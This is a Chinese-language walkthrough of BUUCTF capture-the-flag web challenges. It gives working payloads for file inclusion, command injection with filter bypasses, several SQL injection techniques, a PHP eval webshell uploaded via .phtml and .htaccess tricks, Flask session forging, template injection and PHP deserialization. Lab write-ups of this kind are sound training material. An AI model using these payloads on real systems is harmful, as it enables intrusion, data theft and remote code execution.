BUUCTF靶场
前言
新开个靶场接着刷题,极客大挑战已经做过的就跳了,参考极客大挑战-WP | Yxing
[ACTF2020 新生赛]Include
根据tips
中的文件包含直接伪协议
GET:file=php://filter/read=convert.base64-encode/resource=flag.php |
flag{99cbe927-0326-4ad0-9cbb-0d524fef23e3}
[HCTF 2018]WarmUp
源码提示source.php
,直接访问,源码发现hint.php
,也直接访问
//source.php |
//hint.php |
那我们就可以直接开始构造,注意这里必须判断再白名单中
GET:file=hint.php?/../../../../../ffffllllaaaagggg |
这里在包含文件时会先尝试包含hint.php?/
,发现不是一个目录后会接着向后面包含,从而包含到根目录的flag
flag{b445e688-4846-45cb-8f91-7274bff5cf7b}
[ACTF2020 新生赛]Exec
分号隔开后命令执行就行,这里扒了个源码下来
|
POST:target=127.0.0.1;tac /flag |
flag{dd2de656-3bb9-45fe-959f-aa4be341d74a}
[GXYCTF2019]Ping Ping Ping
还是隔开就行,但是这里加上过滤了,禁用了空格,/
,<>
等。ip=127.0.0.1;ls
可正常执行
先来绕过空格读个源码
GET:ip=127.0.0.1;cat$IFS$1index.php |
|
可以看到这里将flag隔开是不行,是按顺序匹配flag这四个字符,可以采用字符拼接
GET:ip=127.0.0.1;a=fl;b=g.php;c=a;tac$IFS$1$a$c$b |
flag{7ba0ac78-487c-4138-a45c-c88c97352d35}
也可以用HNCTF学到的,都可以打出来,推荐第一个
GET:ip=127.0.0.1;tac$IFS$1`ls` |
[SUCTF 2019]EasySQL
这道题算是比较涨姿势了,首先fuzz一下发现输入数字时会返回一个数组Array ( [0] => 1 )
,任意数字都是这个,但是输入字符时就啥都不会回显,输入flag
或者union
等时回显NONONO
,那么猜测常规的布尔时间union都打不了了,而且后端代码猜测可能是
select $_POST['quert'] || flag from flag |
如果只是单纯传入一个数字,就会执行select 1 from flag
,这个语句就没有有用回显
法一:直接绕过
POST:query=*,1 |
payload
如上,解释下,如果照上面猜测的拼凑到语句中,就是1||flag
,总会返回1,而前面就会select * from flag
,从而获取flag
flag{4e45612f-bde7-4078-8159-609e7fcbfd01}
法二:堆叠注入
这里按照猜想,直接用堆叠注入,发现回显了
query=1;show databases; |
query=1;show tables; |
query=1;show columns from Flag; |
但是这里由于把flag
过滤了,所以不能直接读出来,但是从表名这里就可以看出来确实是如猜想的那样
法三:PIPES_AS_CONCAT 函数
PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。
select 1 || flag from Flag的意思将变成:先查询1,再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起,不要弄混淆了
1;sql_mode=PIPES_AS_CONCAT;select 1 |
拼接进去后就会通过select 1 || flag from flag
将结果合并输出,从而获得flag
[强网杯 2019]随便注
输入1
后还是和上题一样回显数组,先来判断下类型
inject=1' |
报错说明确实是单引号闭合,尝试常见注入
inject=1' union select 1,2# |
万能密码注入时会显示当前表内所有数据,传参时要url编码
inject=1' or 1=1# |
法一:堆叠注入
先用堆叠试试
inject=1';show databases;# |
inject=1';show tables;# |
inject=1';show columns from words;# |
没什么值得注意的,看看另一个表。注意这里数字作为表名时要用反引号包裹
inject=1';show columns from `1919810931114514`;# |
看到flag
,但是由于select
被过滤不能直接读取,下面又是涨姿势的时候了
通过万能密码注入结果和上面堆叠注入结果可以猜测后端查询语句为
select * from words where id=$_GET['inject'] |
这里就有思路了:先将word
表通过rename改成其他名字的表,再将1919810931114514
改为word
表,添加id
列和将flag
列改为data
列,最后再用万能密码查询,就可以看到目前的word
表,实际上的1919810931114514
表的全部内容了。payload如下
GET:inject=1';rename table words to yxing;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);# |
最后万能密码就可以查看
GET:inject=1'%20or%201%3D1%23 |
flag{e04f26d1-2901-48fd-95a7-58633e87bc85}
法二:编码绕过select
GET:inject=1';SEt@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare yxing from @a;execute yxing;# |
注意,用了法一之后,1919810931114514
这个表就相当于废了,要测就要重开环境了,或者重命名回去
这个payload简单解释下:先用set将查找结果的值赋给变量a,然后用预处理命令实现编码转换,最后执行预处理的yxing
语句。而且这里的set
和prepare
不能同时为小写,会进行检测,将某一个单词大写就行
法三:concat拼接绕过select
GET:inject=1';use supersqli;set @a=concat('s','elect flag from `1919810931114514`');PREPARE yxing from @a;EXECUTE yxing;# |
这里思路相同,还是去绕过select
函数,通过这两个字符串拼接来实现
法四:handler代替select读取
GET:inject=1';handler `1919810931114514` open as `yxing`;handler `yxing` read next;# |
handler会一行一行的读取表中数据,这里的handler
只会读取表中的一行数据,不过用来处理这个题也足够了
这个方法还可以用来无列名注入,涨姿势了
[ACTF2020 新生赛]Upload
源码给了一个上传文件的位置
在鼠标悬停小灯泡上,小灯泡亮后会给出文件上传的位置
首先绕过前端限制,上传图片马
但是这里后端也有验证,发现php
文件还是传不了,但是可以传.phtml
文件,那么就有思路了
<script language='php'>eval($_POST['123']);</script> |
路径为/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
成功上传连马找到flag
这里也可以上传.htaccess
和.user.ini
文件的,但是由于上传后会在前面加上一串字符,所以不能起作用
flag{34449896-2685-4b1b-a9f1-6d21fe627c84}
[ACTF2020 新生赛]BackupFile
本来拿dirsearch
来扫的,结果不知道为啥用不了
这里直接看题目名字猜测是index.php.bak
,访问获得源码
|
这里判断key
是否是数字,然后再与str进行比较,由于只是弱比较,直接传参key=123
就可以获得flag
php弱比较时会先判断类型,类型不一样会先转换类型,这里整数与字符进行比较,就会将字符转换为数字,所以只提取123结束了
GET:key=123 |
flag{aa26f5f6-ba64-418f-af71-aea35eeb514f}
[RoarCTF 2019]Easy Calc
源码中可以发现通过向calc.php
请求来获得答案
$('#calc').submit(function(){ |
访问calc.php
获得源码
|
原来以为是ssti
,结果是命令执行
calc.php?num=system("ls"); |
直接传参显示403不允许,并且似乎测出来不能传字母?
这里有个小姿势,访问calc.php? num=phpinfo();
就能正常传参。php在解析时会先将空白字符去掉,转换为有效变量
然后看到disable_function
中把常见命令执行函数都禁用了
这里就要用无参rce的知识了
GET:? num=var_dump(scandir(chr(47))) |
找到f1agg
文件
GET:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) |
flag{11b7e176-74ae-4926-a43b-6569fe9b8f70}
这里也可以用十六进制绕过
? num=var_dump(scandir(hex2bin(dechex(47)))) |
[BJDCTF2020]Easy MD5
随便输一个1,在请求头中找到hint
select * from 'admin' where password=md5($pass,true) |
参考web187,ffifdyop
这个字符MD5后会出现'or'6xxxx
,完整拼接语句为
select * from 'admin' where password=''or'6xxxx' |
这样总是会返回真,同理的万能密码还有129581926211651571912466741651878684928
输入ffifdyop
后进入下一关levels91.php
源码找到关键代码
$a = $GET['a']; |
GET:a=QNKCDZO&b=QLTHNDT |
进入第三关levell14.php
|
强等于,数组绕过即可
POST:param1[]=1¶m2[]=2 |
flag{5e33d0d7-c290-4eea-9201-4ae8dde86a8d}
[HCTF 2018]admin
法一:弱口令
进去看到注册和登录,先测一下注册,注册位置不能直接注册admin用户,因此直接登录页面弱口令爆一爆
可以看到123
的长度不一样,登录试试
然后就直接拿到flag了?????我还打算看session里面打伪造呢
flag{557402b8-c485-4e01-9717-fd6a74494b0b}
好吧,上面是最简单的一种解法,下面再来学习几种
法二:伪造session
在随便注册登录后的修改密码页面源码中找到提示
https://github.com/woadsl1234/hctf_flask/
但是访问的时候似乎已经没了?那就看看师傅们的文章来学习就行了
[BUUCTF-HCTF 2018]admin1_[hctf 2018]admin 1-CSDN博客
解码session如下
{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': '123', 'user_id': '10'} |
密钥为ckj123
flask-unsign --sign --cookie "{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': 'admin', 'user_id': '10'}" --secret 'ckj123' |
重定向后获得flag
法三:Unicode欺骗
这个方法就完全参考师傅的文章了,简单来说就是因为改密码中的函数有问题,从而实现修改admin的密码
ᴬᴰᴹᴵᴺ |
[MRCTF2020]你传你🐎呢
还是文件上传,尝试直接传php,phtml
都不行,jpg
和.htaccess
可以上传,注意这里还要修改文件类型
<FilesMatch "1.jpg"> |
再上传个1.jpg
就行
路径为upload/9b2dde4fce14310907d843276b4003e9/1.jpg
,蚁剑连上后根目录找到flag
flag{fbce99fb-cfdd-4e97-93a6-2aa0aede5416}
[护网杯 2018]easy_tornado
先挨着访问一遍
//flag.txt |
但是似乎都没看到cookie来着
注意到题目中的tornado,这是一个模板,可能涉及到模板注入
同时再访问报错后的报错页面看到参数
尝试注入成功
在tornado模板中,存在一些可以访问的快速对象,这里用到的是
handler.settings
,handler
指向RequestHandler
,而RequestHandler.settings
又指向self.application.settings
,所以handler.settings
就指向RequestHandler.application.settings
了,这里面就是我们的一些环境变量。简单理解
handler.settings
即可,可以把它理解为tornado
模板中内置的环境配置信息名称,通过handler.settings
可以访问到环境配置的一些信息,看到tornado
模板基本上可以通过handler.settings
一把梭。
GET:msg={{handler.settings}} |
'cookie_secret': '0e08d985-58ee-4fd0-9937-8ff360d43116' |
拿着去加密就行
md5(cookie_secret+md5(filename)) |
成功读取flag
flag{fc4b948e-4c2d-4bfe-b0c2-15bf68456209}
[ZJCTF 2019]NiZhuanSiWei
|
所以payload如下
GET:text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php |
//useless.php |
exp如下
|
最终完整payload如下,注意这里直接包含useless.php
,因为是在这个文件中反序列化的
GET:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
源码获得flag
flag{4d492c3e-d675-44d4-9dba-ff22f0e0304e}